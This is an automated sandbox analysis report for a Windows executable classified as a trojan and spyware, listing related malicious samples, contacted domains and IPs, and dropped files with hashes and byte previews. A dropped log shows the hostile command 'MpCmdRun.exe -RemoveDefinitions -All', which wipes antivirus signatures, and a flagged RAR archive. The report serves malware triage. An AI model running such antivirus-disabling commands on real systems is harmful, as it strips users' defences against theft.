                                                                                                                                                                                                                    		13335CLOUDFLARENETUSfalse

                                                                                                                                                                                                                    General Information

                                                                                                                                                                                                                    Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                                    Analysis ID:1584120
                                                                                                                                                                                                                    Start date and time:2025-01-04 09:42:07 +01:00
                                                                                                                                                                                                                    Joe Sandbox product:CloudBasic
                                                                                                                                                                                                                    Overall analysis duration:0h 9m 4s
                                                                                                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                                                                                                    Report type:full
                                                                                                                                                                                                                    Cookbook file name:default.jbs
                                                                                                                                                                                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                                    Number of analysed new started processes analysed:42
                                                                                                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                                                                                                    Number of injected processes analysed:0
                                                                                                                                                                                                                    Technologies:
                                                                                                                                                                                                                    • HCA enabled
                                                                                                                                                                                                                    • EGA enabled
                                                                                                                                                                                                                    • AMSI enabled
                                                                                                                                                                                                                    Analysis Mode:default
                                                                                                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                                                                                                    Sample name:riFSkYVMKB.exe
                                                                                                                                                                                                                    renamed because original name is a hash value
                                                                                                                                                                                                                    Original Sample Name:f139e085653967253d9a7159a3664dd986a69570540375d39a10df1fa49b8fe4.exe
                                                                                                                                                                                                                    Detection:MAL
                                                                                                                                                                                                                    Classification:mal100.troj.spyw.evad.winEXE@61/37@2/2
                                                                                                                                                                                                                    EGA Information:
                                                                                                                                                                                                                    • Successful, ratio: 75%
                                                                                                                                                                                                                    HCA Information:
                                                                                                                                                                                                                    • Successful, ratio: 51%
                                                                                                                                                                                                                    • Number of executed functions: 116
                                                                                                                                                                                                                    • Number of non-executed functions: 179
                                                                                                                                                                                                                    Cookbook Comments:
                                                                                                                                                                                                                    • Found application associated with file extension: .exe

                                                                                                                                                                                                                    Warnings

                                                                                                                                                                                                                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                                                    • Excluded IPs from analysis (whitelisted): 142.250.185.195, 13.107.246.45, 4.175.87.197
                                                                                                                                                                                                                    • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, gstatic.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                                    • Execution Graph export aborted for target powershell.exe, PID 5676 because it is empty
                                                                                                                                                                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                                    • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                                    • Report size getting too big, too many NtQueryVolumeInformationFile calls found.

                                                                                                                                                                                                                    Simulations

                                                                                                                                                                                                                    Behavior and APIs

                                                                                                                                                                                                                    TimeTypeDescription
                                                                                                                                                                                                                    03:43:01API Interceptor71x Sleep call for process: powershell.exe modified
                                                                                                                                                                                                                    03:43:06API Interceptor4x Sleep call for process: WMIC.exe modified

                                                                                                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                                                                                                    IPs

                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    208.95.112.1ddos tool.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                    kthiokadjg.exeGet hashmaliciousBlackshadesBrowse
                                                                                                                                                                                                                    • ip-api.com/json/
                                                                                                                                                                                                                    file.exeGet hashmaliciousAsyncRAT, XRed, XWormBrowse
                                                                                                                                                                                                                    • ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                    file.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                    file.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                    23khy505ab.exeGet hashmaliciousNjratBrowse
                                                                                                                                                                                                                    • ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                    XClient.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                                                                                                                                    • ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                    Java32.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                    mcgen.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                    • ip-api.com/json/?fields=225545
                                                                                                                                                                                                                    intro.avi.exeGet hashmaliciousQuasarBrowse
                                                                                                                                                                                                                    • ip-api.com/json/

                                                                                                                                                                                                                    Domains

                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    discord.comAimStar.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                    • 162.159.128.233
                                                                                                                                                                                                                    rename_me_before.exeGet hashmaliciousPython Stealer, Exela StealerBrowse
                                                                                                                                                                                                                    • 162.159.137.232
                                                                                                                                                                                                                    Fizzy Loader.exeGet hashmaliciousBlank Grabber, Umbral StealerBrowse
                                                                                                                                                                                                                    • 162.159.138.232
                                                                                                                                                                                                                    Jx6bD8nM4qW9sL3v.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.128.233
                                                                                                                                                                                                                    dsoft.exeGet hashmaliciousPython Stealer, Creal StealerBrowse
                                                                                                                                                                                                                    • 162.159.138.232
                                                                                                                                                                                                                    DHL AWB-documents.lnkGet hashmaliciousDivulge StealerBrowse
                                                                                                                                                                                                                    • 162.159.138.232
                                                                                                                                                                                                                    http://mee6.xyzGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.138.232
                                                                                                                                                                                                                    YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.136.232
                                                                                                                                                                                                                    YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.136.232
                                                                                                                                                                                                                    arm.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 162.159.137.232
                                                                                                                                                                                                                    ip-api.comddos tool.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    kthiokadjg.exeGet hashmaliciousBlackshadesBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    file.exeGet hashmaliciousAsyncRAT, XRed, XWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    file.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    file.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    23khy505ab.exeGet hashmaliciousNjratBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    XClient.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    Java32.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    mcgen.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    intro.avi.exeGet hashmaliciousQuasarBrowse
                                                                                                                                                                                                                    • 208.95.112.1

                                                                                                                                                                                                                    ASNs

                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    CLOUDFLARENETUS9cOUjp7ybm.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    http://livedashboardkit.infoGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 172.67.166.199
                                                                                                                                                                                                                    4.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 1.13.111.69
                                                                                                                                                                                                                    31.13.224.14-mips-2025-01-03T22_14_18.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                    • 1.4.15.193
                                                                                                                                                                                                                    random.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    random.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 188.114.96.3
                                                                                                                                                                                                                    download.bin.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                    • 104.21.112.1
                                                                                                                                                                                                                    https://track2.mccarthysearch.com/9155296/c?p=UJEwZLRSuPVlnD1ICTWZusB5H46ZFxhQFeZmgv_N89FzkqdhuHSGoPyB5qZfahmny00oVnRJ_XGR4M89Ovy-j3JZN_nz1Nb-BfHfDXVFwrd4A8njKtxWHgVV9KpuZ3ad6Xn31h13Ok4dSqgAUkhmVH1KUMKOlrKi5AYGmafMXkrBRxU_B4vy7NXVbEVJ970TwM25LbuS_B0xuuC5g8ehQDyYNyEV1WCghuhx_ZKmrGeOOXDf8HkQ-KOwv_tecp8TMdskXzay5lvoS31gB-nWxsjPaZ8f84KWvabQB4eF73ffpyNcTpJues_4IHHPjEKJ9ritMRTaHbFdQGNT_n13X_E7no0nMmaegQjwo4kKGu6oR02iG2c_6ucy3I6d8vsNl324Pjhx3M20dDmfZAju1roW9lGyO1LfgEnp1iSAFpx4kA7frEmKGzJYNX_cZrwVBoH8vvIYauXGnXBrZacRhuZGGbOjW2HHr9KF-0q7xjdgG2hxjWZ2H9zjubJGDnUjHRfiIr_-0bem1pLFqziEmy0450LGuXV23cQ6GD8yuK9tuRwMIF0sbkhVqONC0e6TsXlkUuTRAVWBbLlRPcygJ-CbukwvFtAxobVQ8-PpIuGj97DYFnmbfbJrrZDtH57TpdP4AxtW5k74BKSXvb1B6JX0p7Oyr1kXxLs_OrNPdAdrf8gXR35D9W7WeQ2zhPEqP0Mv5sJx4DlYh6Y4FqgPfCRFcDcL7Cy3HSlJ0XYfv-ae4o-hdX_0rJPqEG_-Bn2yj60YPDYpE8KDIgC_ZMwlNLdK4pAK6vSt4NWDncuV5y7QDqt97ribjd4U3AOvQTKW9r_eMky9-IC9hkSPrg2S0ZBgA9ITW3AQ3v-lq94cAwt1v1RLaFgsy67l_7lni1gYsZaQdOsFJsDpCFYaZsTMcVz2QAnQ_2UidhzlUekPl5xh9LNe9o77rO1FolZslooaXxCf2U2RZmvUA6NCNiGZ8KSsoUYTnqAHenvBJVJwMWd66yD2O60rC3Ic2qOQ1KOF9AB6-iFTvQFxtSTjS2hFwi7N97LeQtVYKhdzZuq2SasgJg0JPnZiFv_FSbgmiodqx9rz_lWIqWQNoQVht-oO2BfFxSF_aedAmm2MuQAL7z8UjBf_deiKwQyfKOyA6ZkAJ14F9xwhNm9F7B4PBgDtocqJQBjw5Cf1jCBSAs3nSYP2_nzofJuQSXd-YD9PIzkkmJw7Nqux7IgJ6p1z2Hsf6i3zShVdZY3g2mmA1xR1FV1LoSYwcRBqZt3pv0UDjuqCEoiqKDuyT0rkhqTRLo29uuM588Lna16PFSgSLoLUhnJ2rx8NLQQc5TqrsGjlN-ulCwTEyA0C9Epz9mxq14yDjw==Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • 104.18.94.41
                                                                                                                                                                                                                    https://covid19.protected-forms.com/XQTNkY0hwMkttOEdiZmZ0V2RRTHpDdDNqUTROanhES0NBYmdFOG1KTGRSTUtrK3VMMzlEN1JKVVFXNUxaNGJOQmd1YzQ3ajJMeVdZUDU3TytRbGtIaFhWRkxnT0lkeTZhdy9xWEhjeFBoRXRTb2hxdjlVbi9iSk1qZytLQ0JxRjd4UmpOS3VUQ2lpOEZneTRoVmpzY2dyekR1WlhYOWVteVcrUXg0a2Y2aEU2ZEZwMVNId3R0U01RK3N3PT0tLVR0bDl1WEFUelg3K2VzTystLUxaMkFrZnU0UmJXRkR3aE5NRE9BOEE9PQ==?cid=2351432832Get hashmaliciousKnowBe4Browse
                                                                                                                                                                                                                    • 104.18.90.62
                                                                                                                                                                                                                    TUT-ASUSddos tool.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    kthiokadjg.exeGet hashmaliciousBlackshadesBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    file.exeGet hashmaliciousAsyncRAT, XRed, XWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    file.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    file.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    23khy505ab.exeGet hashmaliciousNjratBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    XClient.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    Java32.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    mcgen.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                    • 208.95.112.1
                                                                                                                                                                                                                    intro.avi.exeGet hashmaliciousQuasarBrowse
                                                                                                                                                                                                                    • 208.95.112.1

                                                                                                                                                                                                                    JA3 Fingerprints

                                                                                                                                                                                                                    ⊘No context

                                                                                                                                                                                                                    Dropped Files

                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\_MEI51442\VCRUNTIME140.dllmcgen.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                      AimStar.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                        DChOtFdp9T.exeGet hashmaliciousCobaltStrike, MetasploitBrowse
                                                                                                                                                                                                                          user.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            HX Design.exeGet hashmaliciousPython Stealer, Blank GrabberBrowse
                                                                                                                                                                                                                              YgJ5inWPQO.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                                                                                                                                                wp-s2.exeGet hashmaliciousPython BackDoorBrowse
                                                                                                                                                                                                                                  wp-s2.exeGet hashmaliciousPython BackDoorBrowse
                                                                                                                                                                                                                                    wp-cent.exeGet hashmaliciousPython BackDoorBrowse
                                                                                                                                                                                                                                      wp-cent.exeGet hashmaliciousPython BackDoorBrowse

                                                                                                                                                                                                                                        Created / dropped Files

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):64
                                                                                                                                                                                                                                        Entropy (8bit):0.34726597513537405
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Nlll:Nll
                                                                                                                                                                                                                                        MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                                                                                                                                                                        SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                                                                                                                                                                        SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                                                                                                                                                                        SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:@...e...........................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\0ddIp.zip

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe
                                                                                                                                                                                                                                        File Type:RAR archive data, v5
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):654
                                                                                                                                                                                                                                        Entropy (8bit):7.696788561200493
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12:330UkaeEoQYkDPnhTa/S7J6Cla0QSKKUQirU8PlHeHZARAcd7:3301rEoQYG4/S7J6CY0uremRAcd7
                                                                                                                                                                                                                                        MD5:057C177202665709F8498945821364AA
                                                                                                                                                                                                                                        SHA1:A6F03B87E7590BE5697089F610F2542F21B66067
                                                                                                                                                                                                                                        SHA-256:DCCC9440E2EF6268EACD9F3A1B12E00B26E98DA4EE64A6B99124785A0D508CD9
                                                                                                                                                                                                                                        SHA-512:49CA4E93DDEAE43AF1ABB25D02E96EE8A7B1AAE026D0805CE02E9852F150E2694F7D2301D10B97530478DA5E2B920482FE15B6A57B609B8E2FABD7345475A971
                                                                                                                                                                                                                                        Malicious:true
                                                                                                                                                                                                                                        Preview:Rar!......Y.!........$.;9..%.q......=^.:o..U'e.7....{"@.?,..........tpY.[.-<...?.to;..W....H....h......(h._O.Y.i@ I.....D..[m.f...XA.*.5?.....5...a*..4....+JF..$.......Wd..>^c...s..{7.B@.h.k.2..B.T.$..-C..Z.......t>=.V.p,cSt?.U..h.f.)..r..]Q*...{.....3>...y...66.<.b..r(U.._.#.....ED...ZTH....X1..i..Y.k..b...). ;..v+..t....N>2.._...nO..F,O.h0.J.&m{.Z.%#.KH@.,B.>p.4+%..R..).%=K.(.V.(..ke....s(l..v.eH....U.I.'....0.B[._..}..#>.....[@<\g..9@#&. s.JC..u3....$.'o.#P...sX.....HG... ....;(,...=)..7..r.....J.A\....8..Q.?....@....}S....5.....A.(.}o.-..!<z`.8.|0...z.".E.ve.HW.......z#~tG0....X.;K+.9/V2.h..p.R?.....@\..w....^

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\MpCmdRun.log

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                                                                                                                                        File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                        Category:modified
                                                                                                                                                                                                                                        Size (bytes):894
                                                                                                                                                                                                                                        Entropy (8bit):3.1122137349684955
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12:Q58KRBubdpkoPAGdjrZjk9+MlWlLehW51IC4u:QOaqdmOFdjri+kWResLIk
                                                                                                                                                                                                                                        MD5:5ECCF8864952099A7A2CF54DFFDFA3D1
                                                                                                                                                                                                                                        SHA1:6016B7E2BFA9B0D666CE962262D5A7A406CDCDFA
                                                                                                                                                                                                                                        SHA-256:075423A51185C49A322C0BA8101028E42A3D90567D7771C1864386E6F22CD9B3
                                                                                                                                                                                                                                        SHA-512:FBFA7092ED4C50227B7A5B64CDA70BC635E4398F8DFABCC3682B8C84972C0AD3C57E8380104F508C4F8FE1D66E8FF83870F7F31CD88FD3F5B3151CC6AC0F541F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. S.a.t. .. J.a.n. .. 0.4. .. 2.0.2.5. .0.3.:.4.3.:.1.0.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. S.a.t. .. J.a.n. .. 0.4. .. 2.0.2.5. .0.3.:.4.3.:.1.0.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\VCRUNTIME140.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):120400
                                                                                                                                                                                                                                        Entropy (8bit):6.6017475353076716
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
                                                                                                                                                                                                                                        MD5:862F820C3251E4CA6FC0AC00E4092239
                                                                                                                                                                                                                                        SHA1:EF96D84B253041B090C243594F90938E9A487A9A
                                                                                                                                                                                                                                        SHA-256:36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
                                                                                                                                                                                                                                        SHA-512:2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Joe Sandbox View:
                                                                                                                                                                                                                                        • Filename: mcgen.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: AimStar.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: DChOtFdp9T.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: user.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: HX Design.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: YgJ5inWPQO.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: wp-s2.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: wp-s2.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: wp-cent.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        • Filename: wp-cent.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_bz2.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):49424
                                                                                                                                                                                                                                        Entropy (8bit):7.815740675307968
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:esvzuaVl+ztlrpqKgHrzwTzjT+KyH9qtztKnb3/+u2xmFepwUIJLV1/DU5YiSyvX:huaugLzUz+lOsnb33lUIJLV1i7SyFB
                                                                                                                                                                                                                                        MD5:58FC4C56F7F400DE210E98CCB8FDC4B2
                                                                                                                                                                                                                                        SHA1:12CB7EC39F3AF0947000295F4B50CBD6E7436554
                                                                                                                                                                                                                                        SHA-256:DFC195EBB59DC5E365EFD3853D72897B8838497E15C0977B6EDB1EB347F13150
                                                                                                                                                                                                                                        SHA-512:AD0C6A9A5CA719D244117984A06CCE8E59ED122855E4595DF242DF18509752429389C3A44A8BA0ABC817D61E37F64638CCBDFFC17238D4C38D2364F0A10E6BC7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!m..!m..!m..(.o.+m..1...#m..1..."m..1...%m..1...)m..1...,m..i..."m..j...#m..!m..|m..i...)m..i... m..i... m..i... m..Rich!m..........PE..d.....g.........." ...).............d....................................................`.............................................H.................... .. ...................................................p..@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_ctypes.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):64272
                                                                                                                                                                                                                                        Entropy (8bit):7.834005148796091
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:Opx/sXWpBktLQ+ndnJZLIDdwXtRg1zk1+3XTkIJyPeB7SyFmhz:OXsXWpBgLBndJSdIgpk1+3XwIJyPeBrm
                                                                                                                                                                                                                                        MD5:79879C679A12FAC03F472463BB8CEFF7
                                                                                                                                                                                                                                        SHA1:B530763123BD2C537313E5E41477B0ADC0DF3099
                                                                                                                                                                                                                                        SHA-256:8D1A21192112E13913CB77708C105034C5F251D64517017975AF8E0C4999EBA3
                                                                                                                                                                                                                                        SHA-512:CA19DDAEFC9AB7C868DD82008A79EA457ACD71722FEC21C2371D51DCFDB99738E79EFF9B1913A306DBEDACB0540CA84A2EC31DC2267C7B559B6A98B390C5F3A7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h~..............q...............................................q.......q......!u.............................................Rich....................PE..d.....g.........." ...).............J.......................................p............`.........................................Hl.......i.......`.......................l.......................................V..@...........................................UPX0....................................UPX1................................@....rsrc........`......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI51442\_decimal.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\riFSkYVMKB.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):120080
                                                                                                                                                                                                                                        Entropy (8bit):7.901857200989369
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:DXHhVKXEI3D7AboLmJ2g+3FAZ9raGHT2PIJvqMkPp5:DX3gEcD/Ksg+3JGHC0kb
                                                                                                                                                                                                                                        MD5:21D27C95493C701DFF0206FF5F03941D
                                                                                                                                                                                                                                        SHA1:F1F124D4B0E3092D28BA4EA4FE8CF601D5BD8600
                                                                                                                                                                                                                                        SHA-256:38EC7A3C2F368FFEB94524D7C66250C0D2DAFE58121E93E54B17C114058EA877
                                                                                                                                                                                                                                        SHA-512:A5FBDA904024CD097A86D6926E0D593B0F7E69E32DF347A49677818C2F4CD7DC83E2BAB7C2507428328248BD2F54B00F7B2A077C8A0AAD2224071F8221CB9457
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
